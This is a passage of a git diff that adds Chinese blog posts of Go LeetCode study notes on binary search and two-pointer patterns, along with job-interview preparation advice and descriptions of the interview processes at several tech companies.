left = mid+1 + +```go + +``` + +> 第一个错误的版本 +> 是产品经理,目前正在带领一个团队开发新的产品。不幸的是,的产品的最新版本没有通过质量检测。由于每个版本都是基于之前的版本开发的,所以错误的版本之后的所有版本都是错的。 +> 假设有 n 个版本 [1, 2, ..., n],想找出导致之后所有版本出错的第一个错误的版本。可以通过调用  bool isBadVersion(version)  接口来判断版本号 version 是否在单元测试中出错。实现一个函数来查找第一个错误的版本。应该尽量减少对调用 API 的次数。 + +```go +/** + * Forward declaration of isBadVersion API. + * @param version your guess about first bad version + * @return true if current version is bad + * false if current version is good + * func isBadVersion(version int) bool; + */ + +func firstBadVersion(n int) int { + left := 1 + right:= n+1 + // left < right使为了保证left和right永远不相等,进而使得left和mid不相等 + for left < right{ + mid:= left + (right-left)/2 + // left 和right 不相等意味这mid 和 left + // 右边是错误的版本 左边不是错误的版本 + if isBadVersion(mid) == false && isBadVersion(mid+1) == true{ + return mid+1 + }else if isBadVersion(mid+1) == true && isBadVersion(mid) == true{ + // mid +1 的解空间被排除 + right = mid + }else if isBadVersion(mid+1) == false && isBadVersion(mid) == false{ + left = mid+1 + }else{ + // 在这里,这种情况应该不会出现 + } + } + if isBadVersion(left) == true{ + return left + } + return 0 +} +``` + +> 峰值元素是指其值严格大于左右相邻值的元素。给一个整数数组  nums,找到峰值元素并返回其索引。数组可能包含多个峰值,在这种情况下,返回 任何一个峰值 所在位置即可。可以假设  nums[-1] = nums[n] = -∞ .必须实现时间复杂度为 O(log n) 的算法来解决此问题。 + +> 存在的问题是:-1 0 1 2 3 4 5 6 如果数组是这个样子,那么肯定不行。但是题目说明 nums[-1] = nums[n] = -∞ 说明是山丘形。 + +```go +func findPeakElement(nums []int) int { + left := 0 + right:= len(nums)-1 + // 保证至少两个元素 + // 那么left 和mid可以重合 + // 并且 Mid+1<= right + for left < right{ + mid:= left + (right-left)/2 + if nums[mid] > nums[mid+1]{ + right= mid + }else{ + left =mid +1 + // nums[i] != nums[i + 1]所以这种情况不存在 + } + } + return left +} +``` + +### 模板 3 + +> 模板 3 是二分查找的另一种独特形式。 它用于搜索需要访问当前索引及其在数组中的直接左右邻居索引的元素或条件。 +> 搜索条件需要访问元素的直接左右邻居。 +> 使用元素的邻居来确定它是向右还是向左。 +> 保证查找空间在每个步骤中至少有 3 个元素。 +> 需要进行后处理。 当剩下 2 个元素时,循环 / 递归结束。 需要评估其余元素是否符合条件。 + +> 初始条件:left = 0, right = length-1 +> 终止:left + 1 == right +> 向左查找:right = mid +> 向右查找:left = mid + +> left +1 < right 至少保证两个元素 + +```go +func searchRange(nums []int, target int) []int { + if len(nums)<=1{ + if len(nums)==1 && nums[0]== target{ + return []int{0,0} + }else{ + return []int{-1,-1} + } + } + first:=firstBinarySearch(nums,target) + second:= lastBinarySearch(nums,target) + return []int{first,second} +} + +func firstBinarySearch(nums []int, target int) int{ + left:=0 + right := len(nums)-1 + // 至少保证有三个元素 + for left+1 < right{ + mid := left + (right- left)/2 + if nums[mid] == target{ + right = mid + }else if nums[mid] < target{ + left =mid + }else { + right = mid + } + } + // 先左边后右边 + if(nums[left] == target) { + return left + } + if(nums[right] == target){ + return right + } + return -1 +} + +func lastBinarySearch(nums []int, target int) int{ + left:=0 + right := len(nums)-1 + // 至少保证有三个元素 + for left+1 < right{ + mid := left + (right- left)/2 + if nums[mid] == target{ + left = mid + }else if nums[mid] < target{ + left =mid + }else { + right = mid + } + } + // 先右边后左边 + if(nums[right] == target){ + return right + } + if(nums[left] == target) { + return left + } + return -1 +} +``` + +> left <= right 循环内部至少是 1 个元素 这个时候呢,mid 可以== left 如果存在 left= mid 那么就会一直循环。 + +```go +func searchRange(nums []int, target int) []int { + + left:=leftHappen(nums,target) + right:= rightHappen(nums,target) + return []int{left,right} + +} + +func leftHappen(nums []int,target int ) int{ + left := 0 + right := len(nums)-1 + for left <= right{ + mid := left + (right -left)/2 + if nums[mid] < target{ + left = mid +1 + }else if nums[mid] > target{ + right = mid -1 + }else{ + // 相等的时候仍然希望收缩范围向左收缩范围 + // 关键在于是更改right 而left保持不变 + right = mid -1 + } + } + if left >=0 && left target { + right = mid -1 + }else{ + // 相等的时候希望向右边 + // 相等的时候仍然希望收缩范围向左收缩范围 + // 关键在于是更改left 而right保持不变 + left = mid +1 + } + } + if right>=0 && right< len(nums) && nums[right] == target{ + return right + } + return -1 +} +``` + +> left < right 循环内部至少 2 个元素 这个时候呢,mid 可以== left 如果存在 left= mid 那么就会一直循环。 循环外部还需要判断只有一个元素的情况。 + +```go +func searchRange(nums []int, target int) []int { + if len(nums)==0{ + return []int{-1,-1} + } + first:=firstSearch(nums,target) + second:= secondSearch(nums,target) + return []int{first,second} +} + +func firstSearch(nums []int, target int) int{ + left:=0 + right := len(nums)-1 + // 至少保证有2个元素 + // mid可以和left重合 + for left < right{ + mid := left + (right- left)/2 + if nums[mid] == target{ + right = mid + }else if nums[mid] < target{ + left =mid+1 + }else { + right = mid-1 + } + } + // 先左边后右边 + if(nums[left] == target) { + return left + } + return -1 +} + +func secondSearch(nums []int, target int) int{ + left:=0 + right := len(nums)-1 + // 至少保证有2个元素 + for left < right{ + mid := left + (right- left)/2 + if nums[mid] == target{ + left = mid +1 + }else if nums[mid] < target{ + left =mid+1 + }else { + right = mid-1 + } + } + // 只有一个元素 + if right >=0 &&nums[right]== target{ + return right + } + // 两个元素 1 0 + if(left-1 >=0 && nums[left-1] == target) { + return left-1 + } + return -1 +} +``` + +> 定长滑动窗口 + +```go +func findClosestElements(arr []int, k int, x int) []int { + left := 0 + right:=k-1 + minSum:=math.MaxInt32 + resLeft:=0 + resRight:=0 + for right < len(arr) { + temp:=getSum(arr,left,right,x) + if temp > minSum{ + // 不能再递增了 + break + }else if temp == minSum{ + // 不更新 + }else{ + resLeft = left + resRight = right + minSum=min(minSum,temp) + } + //fmt.Println(getSum(arr,left,right,x)) + left++ + right++ + } + + if resLeft >=0 { + return arr[resLeft:resRight+1] + } + return arr +} + +func getSum(arr []int ,strat int , end int,x int) int{ + sum:=0 + for i:=strat;i<=end;i++{ + sum = sum+ abs(arr[i]- x ) + } + return sum +} + +func abs(a int) int{ + if a > 0{ + return a + } + return -a +} + +func min(a int ,b int) int{ + if a 二分 + +```go +// 二分 +// 但是不理解 +func findClosestElements(arr []int, k int, x int) []int { + + // len(arr)-k是剩下的个数 + // len(arr)-k-1 是下标 + + if arr[0] >x { + return arr[0:k] + } + if arr[len(arr)-1] < x{ + return arr[len(arr)-k:] + } + left := 0 + right:= len(arr)-k + // + // 1 5 9 + // 1 2 3 4 5 6 7 8 9 10 11 + for left + 1 < right{ + mid:= left + (right-left)/2 + // + if x-arr[mid] > arr[mid+k] -x{ + // 如果x在 arr[mid] 和 arr[mid+k]的中间,并且更加偏向 mid+k 那么left 完全可以到mid的位置 + left = mid + }else{ + // x 小于 arr[mid] x-arr[mid] < arr[mid+k] -x arr[mid]-x < arr[mid+k] -x + // x 大于 arr[mid+k] + right = mid + } + } + + if x-arr[left] > arr[right+k-1]-x { + return arr[right:right+k] + }else { + return arr[left:left+k] + } +} + + +func getSum(arr []int ,strat int , end int,x int) int{ + sum:=0 + for i:=strat;i<=end;i++{ + sum = sum+ abs(arr[i]- x ) + } + return sum +} + +func abs(a int) int{ + if a > 0{ + return a + } + return -a +} + +func min(a int ,b int) int{ + if a 875. 爱吃香蕉的珂珂.珂珂喜欢吃香蕉。这里有 n 堆香蕉,第 i 堆中有 piles[i] 根香蕉。警卫已经离开了,将在 h 小时后回来。珂珂可以决定她吃香蕉的速度 k (单位:根/小时)。每个小时,她将会选择一堆香蕉,从中吃掉 k 根。如果这堆香蕉少于 k 根,她将吃掉这堆的所有香蕉,然后这一小时内不会再吃更多的香蕉。 珂珂喜欢慢慢吃,但仍然想在警卫回来前吃掉所有的香蕉。返回她可以在 h 小时内吃掉所有香蕉的最小速度 k(k 为整数)。 + +```go +func minEatingSpeed(piles []int, h int) int { + + // h*k 最多吃掉 + // piles[i]-k + // k:=1 + // 在1的速度下 + + left := 1 + right:= MaxOf(piles) + // lastneedHour:=0 + // 至少是两个 + // 左边的速度吃不完 + // 右边的速度吃的完 + for left <= right{ + midSpeed := left + (right-left)/2 + //fmt.Println(midSpeed) + needHour:= getNeedHour(midSpeed,piles) + if needHour < h{ + //lastneedHour = needHour + right = midSpeed-1 + }else if needHour == h{ + //lastneedHour = needHour + right = midSpeed-1 + }else { + // l + left = midSpeed +1 + } + } + return left + // 吃不完 吃的完 吃的完 吃的完 吃的完 吃的完 +} + +func getNeedHour(midSpeed int, piles []int) int{ + needHour:=0 + for _,v := range piles{ + item:= v/midSpeed + if v % midSpeed != 0{ + needHour =needHour+ item+1 + }else{ + needHour = needHour+ item + } + } + return needHour +} + +func MaxOf(nums []int) int { + max:= math.MinInt32 + for _,v := range nums{ + if v > max{ + max = v + } + } + return max +} + +func sliceCpoy(piles []int) []int{ + array:= make([]int,len(piles)) + copy(array,piles) + return array +} +``` + +> 300. 最长递增子序列.给一个整数数组 nums ,找到其中最长严格递增子序列的长度。子序列 是由数组派生而来的序列,删除(或不删除)数组中的元素而不改变其余元素的顺序。例如,[3,6,2,7] 是数组 [0,3,1,6,2,2,7] 的子序列。 + +> 动态规划/因为二分法不是很理解....(等待二分法的补充) + +```go +// [10,9,2,5,3,7,101,18] +func lengthOfLIS(nums []int) int { + dp := make([]int,len(nums)) + // 纵轴是可选择元素 + // 结果是数组元素的自由组合 + var res =1 + // 每一个都可以是1 + // 初始化 + for k,_ := range dp { + dp[k] = 1 + } + for i:=0;i< len(nums);i++{ + // dp[i] 可以是在它之前的任何一个小于它的数的状态得到 + for j:=0;j nums[j]{ + dp[i] = max(dp[i],dp[j]+1) + } + } + res=max(res,dp[i]) + } + // fmt.Println(dp) + // [4,10,4,3,8,9] + // 1 2 2 2 3 4 + // 1 1 1 2 2 3 4 4 + return res +} + + +func max(a int , b int) int{ + if a> b { + return a + } + return b +} + +``` + +```go +func lengthOfLIS(nums []int) int { + dp := make([]int,len(nums)) + // 纵轴是可选择元素 + // 结果是数组元素的自由组合 + var res =1 + // 每一个都可以是1 + // 初始化 + dp[0]=1 + for i:=1;i< len(nums);i++{ + // dp[i] 可以是在它之前的任何一个小于它的数的状态得到 + temp:=1 + for j:=0;j nums[j] && dp[j]+1 > temp{ + temp = dp[j]+1 + } + } + dp[i] = temp + res = max(res,dp[i]) + } + // fmt.Println(dp) + // [4,10,4,3,8,9] + // 1 2 2 2 3 4 + // 1 1 1 2 2 3 4 4 + return res +} + + +func max(a int , b int) int{ + if a> b { + return a + } + return b +} + +``` + +> 475. 供暖器冬季已经来临。 的任务是设计一个有固定加热半径的供暖器向所有房屋供暖。在加热器的加热半径范围内的每个房屋都可以获得供暖。现在,给出位于一条水平线上的房屋 houses 和供暖器 heaters 的位置,请找出并返回可以覆盖所有房屋的最小加热半径。说明:所有供暖器都遵循的半径标准,加热的半径也一样。 + +```go + +func findRadius(houses []int, heaters []int) int { + // 对每一个房子都去寻找距离房子最近的供暖器材的位置 + // 得到供暖器和他的位置 + sort.Ints(houses) + sort.Ints(heaters) + res:= 0 + for i:=0;i houses[i]{ + distance= min(distance,heaters[mid] - houses[i]) + right = mid-1 + }else{ + distance= min(distance,houses[i]- heaters[mid] ) + left = mid +1 + } + } + res= max(res,distance) + } + // 1 2 3 4 5 + // 1 6 + return res +} + + + +func max(a int , b int) int{ + if a>b { + return a + } + return b +} + +func min(a int, b int) int{ + if a 有个马戏团正在设计叠罗汉的表演节目,一个人要站在另一人的肩膀上。出于实际和美观的考虑,在上面的人要比下面的人矮一点且轻一点。已知马戏团每个人的身高和体重,请编写代码计算叠罗汉最多能叠几个人。 + +```go +/*示例: + +输入:height = [65,70,56,75,60,68] weight = [100,150,90,190,95,110] +输出:6 +解释:从上往下数,叠罗汉最多能叠 6 层:(56,90), (60,95), (65,100), (68,110), (70,150), (75,190) +*/ +// 贪心+二分查找 +func bestSeqAtIndex(height []int, weight []int) int { + n := len(height) + if n == 0 { + return 0 + } + persons := make([]Person, n) + for i := range persons { + persons[i] = Person{height[i], weight[i]} + } + sort.Slice(persons, func(i, j int) bool { + //如果身高按照从小到大,那么身高相同的就需要降序排 为了防止最终的集合出现 + // (2,3)(2,4) 身高相同, 体重递增的两个人 + if persons[i].height== persons[j].height { + return persons[i].weight > persons[j].weight + } + // 身高按照从小到大排列 + return persons[i].height < persons[j].height + }) + fmt.Println(persons) + //对第二维,最长上升子序列 + curr := make([]int, 0) //始终是最长的上升子序列 - 下面只是让他增长的尽可能平缓! + for i := 0; i < n; i++ { + //得到体重值 + target:=persons[i].weight + //t应初始化为curr的长度 + if len(curr)!=0{ + left:=0 + right:=len(curr)-1 + // 二分在curr中查找第一个大于 target的值,如果没找到说明就一个把该元素加入curr + for left <= right{ + mid:= left + (right-left)/2 + if curr[mid] > target{ + right = mid -1 + }else if curr[mid] == target{ + // 也就是是 前一个身高小,现在这个的体重和目标值差不多的值 + right = mid-1 + }else{ + left = mid +1 + } + } + //而是替换掉第一个大于target的值 + // 找到了 + if left < len(curr){ + curr[left] = target + }else{ + curr = append(curr,target) + } + }else{ + curr = append(curr,target) + continue + } + + } + return len(curr) +} + + +type Person struct{ + height int + weight int +} + +func max(a int ,b int) int{ + if a > b { + return a + } + return b +} +``` + +```go +// 动态规划会超时间 +func bestSeqAtIndex(height []int, weight []int) int { + DP:= make([]int,len(height)) + data:= make([]person,len(height)) + for k, _:= range height{ + data[k].weight = weight[k] + data[k].height = height[k] + } + sort.Slice(data,func(i int ,j int)bool{ + if data[i].height< data[j].height { + return true + } + return false + }) + //fmt.Println(data) + // DP[i] 前i个人可以叠罗汉的人数 + + // DP[i] = DP[i-1] + // DP[i] = DP[i-1]+1 + // DP[i] = DP[i-2]+1 + // DP[i] = DP[i-3]+1 + // 初始化 + // 最长递增子序列 + DP[0]=1 + total:=0 + for i:=1;i data[j].weight && data[i].height > data[j].height && DP[j]+1>res{ + res = DP[j]+1 + } + } + DP[i] = res + total = max(total,res) + } + return total +} + +type person struct{ + height int + weight int +} + + +func max(a int ,b int) int{ + if a > b { + return a + } + return b +} + +``` + +### 二分题型 + +- 查找等与目标值的索引 +- 查找第一个满足条件的元素。 +- 查找最后一个满足条件的元素。 +- 数组不是整体有序的,先升后降。还是不断比较值,划分区间,确定目标值将会落在哪个区间 +- 局部查找最大/最小的元素。 + +### 二分解题步骤 + +- 定义搜索区间。 +- 决定循环结束的条件 +- 找目标元素,目标元素可以是给出的,也可以是数组的第一个元素,也可以是数组的最后一个元素。 +- 不断的舍弃非法解。 +- 整体有序,那么就需要 `nums[mid]`和 target 比较,但是如果是局部有序,那么就是和局部的周围元素对比。 diff --git a/_posts/2023-4-11-test-markdown.md b/_posts/2023-4-11-test-markdown.md new file mode 100644 index 000000000000..8d89eea129f6 --- /dev/null +++ b/_posts/2023-4-11-test-markdown.md @@ -0,0 +1,198 @@ +--- +layout: post +title: 一些思考 +subtitle: +tags: [idea] +comments: true +--- + +### 1.方法论 + +> 关注点并不是“我在项目经历中,使用了哪些技术”,而是“我在项目经历中,使用了这些技术,并且我对其原理有深入的了解”.项目中使用工程上很流行的技术和框架,这是最基本的水平;如果对这些框架的原理有深入的了解、对比过不同框架的优缺点、甚至自己尝试实现过一个 demo 框架,那在面试官那里一定是一个极大的加分项。 + +> 我们应当保证对项目中用到的技术/框架有较为深入的了解,而不只是停留在调用 API 上。比如项目里用了 gin 框架,面试官就会问为什么 gin 的速度快?有没有从源码的层面上理解过它的特点?这个时候,如果我们知道是前缀树,面试官就会点点头;如果我们再顺手写个前缀树的代码,那就会让面试官惊喜了。 + +> 项目不是只能做 Web 网站或者后台管理系统,还可以有其他选择。比如:学习《CSAPP》课程,并做完若干 Labs,如内存缓存、内存分配回收、Web 服务器等.实现一个简单的操作系统,可以基于已经写好的系统,实现其中的部分模块,如进程调度、中断处理等。实现一个编译器,或者正则表达式(子集)的解析器。实现一个基于 TCP 的并发服务器框架,包括路由、Goroutine 池、消息队列等(如 zinx)。实现一个简单的 RPC 框架,考虑选择什么传输协议和编码协议、以及这样选择的原因。build-your-own-x 提供了许多实践项目,如 Docker、数据库、命令行工具、Shell、Git、搜索引擎等 + +> 实习经历.关注点:在实习中做了什么工作?遇到了哪些问题?如何解决?通过实习,得到了哪些成长?比如 Git 操作、内部工具、团队协作、开发流程/规范等。实习过程有哪些产出?有没有主动的贡献?比如整理新人手册、发现并解决了某个问题、提升了业务指标等。 学习链接:https://imageslr.com/2020/07/08/tech-interview.html#linux-git + +> 笔记的分类:基础课程:操作系统、计算机网络、数据库等.算法:解题技巧、专题、题解等.语言:C/C++、Golang、Java 等.工具:Git、Linux、Docker 等.其他:分布式、设计模式、最佳实践等 + +> 知识复习的体系:1.建立框架。2. 深入研究各个专题 (搜索大量参考资料,梳理大纲,完善整理为连贯的内容)3.阅读书籍的关键部分。4.分清优先级,以基础知识 i 为主,分布式和中间件在有余力的情况下再进行深入的了解。5.不懂的名词多查。多问几个为什么,英文关键词搜索。 + +> 算法复习:刷题方法:每天 mid /hard 热身,记录错题,错误原因,笔记连接,每周复习几道。按照标签刷。分清优先级:优先刷《剑指 offer》、LeetCode 经典题、高频题、模板题; + +> 吃透每道题,刷题的目标不只是通过,而是要给出最优解。对于一题多解的情况,还需要参考他人的题解,将各种解法都实现一遍,并对比不同解法的优缺点。此外,很多不同的题目有着相似的解题思路,可以尝试用这道题的解法去做其他题,争取举一反三,比如 42. 接雨水和 84. 柱状图中的最大矩形。 + +> 学习数据结构时,配合可视化网站.Data Structure Visualizations/visualgo/Algorithm Visualizer + +> 定期复习”,我使用一个表格来管理所有错题:首次复习时都需要重新写一遍代码,之后视情况选择写代码或者只回忆思路。及时更新各个题目的状态为“重点”“不重要”或“已掌握”,防止错题越攒越多。面试前快速浏览表格,回忆做题思路,优先看橙色高亮的重点题。 + +### 2.简历和面试 + +> 简历:采用 STAR 法则描述自己的项目和实习经历,知乎的这个问题可以参考,geekcompany/ResumeSample 提供了一系列程序员的简历模板,resumejob/awesome-resume 则提供了许多程序员的简历例句。最好放在一页上,如果一页放不下,可以缩小字体/间距,或改变页面大小;部分在线平台也提供“自动填满一页”的布局功能。简历导出为 PDF 格式,命名为“姓名*学校*岗位\_手机号”。教育经历写预计毕业时间,而不是“至今” + +> 面试官您好:我叫 XX,来自 XX 学校 XX 学院,目前 XX 再读,预计 XX 毕业,研究方向是 XX,去年在 XX 公司 XX 团队实现 XX,这个部门主要负责 XX,我在其中负责 XX 工作,包括 XX,此外还输出 XX,为部门整理新人手册。最后我有写博客的习惯,定期归纳总结自己的学习笔记,我也有开源经历.....以上就是我的个人介绍。 + +> 简历里的项目经历、实习经历最有可能被面试官作为第一个问题,比如“从现在看来,觉得这个工作还可以怎么改进?”“觉得这些工作中最难的一点是什么?是怎么解决的?”针对这些问题,应该提前准备。可以参考:https://imageslr.com/2021/autumn-recruit.html#common-question + +### 3.综合面试问题 + +- 实习期间的工作内容,介绍一下? +- 简单介绍一下这个项目的内容?觉得它的亮点 / 难点有哪些? +- 实习期间遇到最大的挑战是什么?如何解决? +- 实习期间给带来最大成长的工作是什么? +- 从现在看来,觉得这个工作还可以怎么改进? +- 觉得这些工作中最难的一点是什么?是怎么解决的? +- 实习期间有哪些工作以外的对团队的贡献? +- 自己平时分析过源码吗? +- 是怎么学习新技术的? +- 最近在学哪些新技术 / 在看哪些书? +- 的长期职业规划是什么?1 ~ 3 年的规划是什么? + +### 4. 反问 + +- 组内主要的技术栈 / 语言? +- 我加入部门后可能负责的工作内容 +- 部门的人数 / 人员构成(判断是否核心) +- 针对新员工有哪些培训(万能问题) +- 后续是什么流程?还有几轮面试? +- 您对我有哪些建议?/ 哪些方面的知识、技能还可以再提升?/ 您觉得我还有哪些方面的不足? + +> https://github.com/yifeikong/reverse-interview-zh > https://shimo.im/docs/wcrJrrCtHwvrC9RG/read + +面试前一小时 +快速浏览以下内容,遇到不会的不用深究,主要是有个思路: +基础知识题目列表 +综合面试问题 +算法错题集,优先重点题目 +牛客网面经 + +面试后 +复盘。根据录屏或者回忆,整理面试中遇到的题目、自己没有发挥好的地方。距离面试结束的时间越短,回忆越清晰,可以尽快整理。 + +查漏补缺。有些题目可能只是我们自认为答对了,所以对于每道题目,都需要搜集资料、发掘所有的考点、并做笔记。 + +### 5. 面试流程 + +```text +阿里: +面试流程:统一在线笔试。2 轮技术面 + 1 轮经理面 + 1 轮交叉面 + 1 轮 HR 面,每轮都是电话面试,时长 1 小时左右。一面面试官是未来的 leader,之后的面试官应该级别更高。一二面考察基础知识,三四面主要围绕项目和实习经历展开。 + +反馈周期:通过后会很快约下一轮面试,可以向的内推人 / 师兄咨询面试结果;每轮面试间隔 2 天~ 1 周;Offer 统一在 9 月发出。 + +评价:由于是电话面试 + 已经笔试过,所以面试时不再考察算法。这导致面试题的覆盖面广、题量大、问得细,难度总体较高。HR 面体验很好,给我提了中肯的建议。 +``` + +```text +百度 +面试流程:3 轮技术面 + 1 轮交叉面 (可能没有) + 1 轮 HR 面。技术面时长 1 小时,HR 面很短。是否有交叉面取决于部门和面试评级。技术面试包括算法题,中等偏难。使用百度的“如流”面试。 + +反馈周期:一面完可能紧接着就是二面。1~2 天约下一轮面试。HR 会加微信。 + +评价:不同部门的面试官水平差异极大。如果一个月还没给一个明确的答复,大概率是被泡池子了,可以考虑终止流程,重新投递另一个部门。 +``` + +```text +快手 + +面试流程:2 轮技术面 + 1 轮经理面 + 1 轮 HR 面。技术面每轮都是牛客网面试,时长 1 小时。HR 面时长 30 分钟。 + +反馈周期:1 周左右约下一轮面试。 + +评价:基础架构部门问了很多 C/C++ 的问题,很少问上层的网络协议等知识,也没怎么考算法。面试官比较 nice,答错了会一步一步引导。 +``` + +```text +美团 + +面试流程:2~3 轮技术面,1 轮 HR 面。技术面时长 1 小时,HR 面时长 30 分钟。最后一轮技术面是 leader。使用牛客网面试。 + +反馈周期:3 天约下一轮面试。 +``` + +```text +拼多多 + +面试流程:2~3 轮技术面 + 1 轮 HR 面。技术面时长 1 小时左右,HR 面时长 30 分钟。技术面会考察两道算法题,都是 LeetCode 高频题,难度适中。使用自研平台面试,类似于牛客网,有代码编辑器和视频窗口。 + +反馈周期:一周左右约下一轮面试。 + +评价:确实很拼,约了 21:30 面试,面试官有事,等到 22:30 才开始,面完已经 23:30 了。从视频窗口能看出工位确实不大。 +``` + +```text +腾讯 + +面试流程:2 轮技术面 + 1 轮经理面 + 1 轮 HR 面。技术面时长 1 小时左右,HR 面时长 30 分钟。三面是 leader。面试形式有电话、牛客网、腾讯会议、QQ 视频。 + +反馈周期:2~3 天出面试结果 + 约下一轮面试。如果 5 天还没有约下一轮面试,建议联系 HR 查看进度。join.qq.com 上的进度超过 7 个工作日(一般 10 个自然日)没有更新时,流程会自动终止,简历重新放回池子里。面试通过后会先收到“云证”邮件。 + +评价:腾讯在面试实习生和校招生时,比较重视基础课程(操作系统、计算机网络),不会涉及太多高深技术,面试题目和面经重合度较高。每轮都有两三道算法,难度适中,不需要特殊技巧。 + +WXG:2 轮技术面 + 2 轮面委会 + 1 轮 HR 面。难度比其他部门高,会考察系统设计题(如高并发定时器)或复杂算法题(如判断点是否在封闭图形内)。 +``` + +```text +小米 + +面试流程:2 轮技术面,时长 1 小时。没有 HR 面。使用牛客网面试。 + +反馈周期:3 天约下一轮面试。 + +评价:面试官很耐心,会主动指出没答出的题目是哪个知识点、下来以后可以查一下。基本没有能够联系到 HR / 面试官的方法。感觉招人比较随意,二面完一个月没消息,一直认为自己挂了,结果 9 月底突然打电话,直接给出了薪资方案。 +``` + +```text +猿辅导 + +面试流程:先笔试,通过后进入面试。2 轮技术面 + 1 轮经理面,每轮时长 45 分钟,其中 15 分钟过简历 + 考察基础知识,25 分钟做两道中等难度的算法题,剩下 5 分钟反问。三面是 leader,没有 HR 面。使用牛客网面试。 + +反馈周期:一周内约下一轮面试。如果进入下一个阶段,内推人会先收到通知,可以问内推人。 + +评价:整体体验不错,HR 对校招生很用心,会加微信、拉微信群、送校招礼物。猿辅导笔试和面试的算法难度是 LeetCode 前 300(我也只刷了这些题)。基础知识 / 算法 / 实习经历至少有一项突出,会比较稳。 +``` + +```text +字节跳动 + +面试流程:2 轮技术面 + 1 轮经理面 + 1 轮 HR 面。技术面时长 1 小时,包括 2 道中等难度偏上的算法题。HR 面时间较短。日常实习可能没有经理面,校招可能会有加面。 + +反馈周期:一二面一般会连着,三面隔一两天。 + +评价:对算法和基础知识都很看重,问得比较细。无论通过与否,反馈都很快。会有 HR 加微信,一般是实习生。 +``` + +### 学习和复习资料 + +> leetcode 题解:LeetCode 题解 https://github.com/labuladong/fucking-algorithm +> labuladong/fucking-algorithm:强烈推荐,非常赞的算法题解。 +> afatcoder/LeetcodeTop:各个大厂近期的高频面试题汇总。https://github.com/afatcoder/LeetcodeTop +> MisterBooo/LeetCodeAnimation:可视化地呈现 LeetCode 题解。https://github.com/MisterBooo/LeetCodeAnimation +> yuanguangxin/LeetCode https://github.com/yuanguangxin/LeetCode +> azl397985856/leetcode https://github.com/azl397985856/leetcode +> youngyangyang04/leetcode-master https://github.com/doocs/leetcode +> doocs/leetcode https://github.com/doocs/leetcode +> 小浩算法 https://www.geekxh.com/ +> Jack-Cherish/LeetCode https://github.com/Jack-Cherish/LeetCode +> Github - Search · LeetCode https://github.com/search?q=Leetcode&ref=opensearch + +> 面经汇总:面经汇总 +> imageslr - 技术面试题汇总 +> wolverinn/Waking-Up +> 计算机网络太难?了解这一篇就够了 +> CyC2018/CS-Notes +> Java-Guide +> frank-lam/fullstack-tutorial +> Top K 面试题 - 海外兔 +> Github - Search · 面试 + +> https://imageslr.com/2020/07/08/tech-interview.html#linux-git + +> https://imageslr.com/2021/autumn-recruit.html#interview + +> https://imageslr.com/2021/autumn-recruit.html#common-question + +> https://imageslr.com/2021/autumn-recruit.html#common-question + +> https://imageslr.com/2021/autumn-recruit-offer.html diff --git a/_posts/2023-4-13-test-markdown.md b/_posts/2023-4-13-test-markdown.md new file mode 100644 index 000000000000..7b73ddea75f9 --- /dev/null +++ b/_posts/2023-4-13-test-markdown.md @@ -0,0 +1,722 @@ +--- +layout: post +title: 双指针专题 +subtitle: +tags: [双指针] +comments: true +--- + +> 二分需要用来左右端点双指针 + +> 滑动窗口需要快慢指针和固定间距指针 + +### 双指针类型 + +一个指针指向有效数组的最后一个位置,另外一个指针遍历数组元素。 + +> 快慢指针.想象慢指针在填充一个空的,新的,符合条件的数组。快指针负责遍历所有的元素。 + +```go +func removeDuplicates(nums []int) int { + return appendElem(nums,2) +} + +func appendElem(nums []int ,restraint int) int{ + // 最多几个重复元素 + // 1 1 2 + // 0 1 2 + // 让nums[2] 和nums[0]对比是否相同就好 + // 快指针负责遍历整个数组 + // 慢指针负责填充符合条件的数组元素 + // 可以把慢指针想象成在填充一个新的空的数组 + slow:=0 + fast:=0 + // slow 所指的位置是等待填入的位置 + for fast 快慢指针.1.快指针的速度是慢指针速度的两倍。快指针追赶到慢指针,然后让快指针从起点开始,慢指针从交点开始。都是一步的速度前进。最后相交的地方就是进入环的点。 + +```go +func findDuplicate(nums []int) int { + // n + 1 个整数的数组 nums ,其数字都在 [1, n] + // n + 1 个整数的数组 nums,则数组的下标的范围是[0:n] + // 正好数字都在 [1, n],也就是说每个数字能都找到一个下标与之对应。 + // 1 3 4 2 2 + // 0 1 2 3 4 + // 0->1->3->2->4 + // 1->3->2<->4 + // 也就是链表存在环 + // 1 2 2 2 3 + // 0 1 2 3 4 + + slow:=0 + fast:=0 + // 判圈第一步找交点 + for { + fast=nums[fast] + fast=nums[fast] + slow=nums[slow] + if slow == fast{ + break + } + } + // 第二步:找到交点后确定进入环的位置 + fast=0 + for{ + fast = nums[fast] + slow = nums[slow] + if slow == fast{ + break + } + } + return slow +} +``` + +> 左右端点指针(两个指针分别之向头尾,并往中间移动。步长不确定) + +```go +func twoSum(nums []int, target int) []int { + items:=make([]Item,len(nums)) + for k,v := range nums{ + items[k] = Item{ + Data:v, + Index:k, + } + } + sort.Slice(items,func (i int,j int)bool{ + if items[i].Data <= items[j].Data{ + return true + } + return false + }) + left :=0 + right:= len(nums)-1 + result:=[]int{} + for left < right{ + if items[left].Data+ items[right].Data == target{ + result = append(result,items[left].Index) + result = append(result,items[right].Index) + return result + }else if items[left].Data+ items[right].Data < target{ + left++ + }else{ + right-- + } + } + return result +} + +type Item struct{ + Data int + Index int +} +``` + +```go +func sumZero(n int) []int { + result := make([]int,n) + left:=0 + right:=n-1 + n=1 + for left 0 && nums[left] == nums[left-1] { + continue + } + if nums[left] > 0 { + break + } + target := -nums[left] + mid := left + 1 + right := len(nums) - 1 + for mid < right { + if mid > left+1 && nums[mid] == nums[mid-1] { + mid++ + continue + } + if nums[left]+nums[mid] > 0 { + break + } + + if nums[mid]+nums[right] > target { + right-- + } else if nums[mid]+nums[right] < target { + mid++ + } else { + res = append(res, []int{nums[left], nums[mid], nums[right]}) + mid++ + } + } + } + return res +} + + +``` + +> 固定间距指针,间距相同,步长相同。 + +不管是那一种指针,只考虑双指针的话,还是会遍历整个数组,时间复杂度主要取决于步长。如果步长是 1,2 那么时间复杂度就是 O(N)步长和数据规模有关,那么就是 O(logN),不管规模多大都需要两个指针,那么空间复杂度就是 O(1)。 + +### 框架模板 + +快慢指针框架: + +```text +同一个起点 +slow:=0 +fast:=0 +for 元素没有遍历完{ + if 条件{ + 只有条件满足的情况下移动慢指针 + slow++ + } + 快指针应该什么情况下都可以移动 + fast++ +} +``` + +左右指针框架: + +```text +不同的起点 +left:=0 +right:=n +for left< right{ + if 找到了{ + return + } + if 条件2{ + left++ + } + if 条件3{ + righ++ + } +} +return 没有找到 +``` + +固定间距指针 + +```text +left:=0 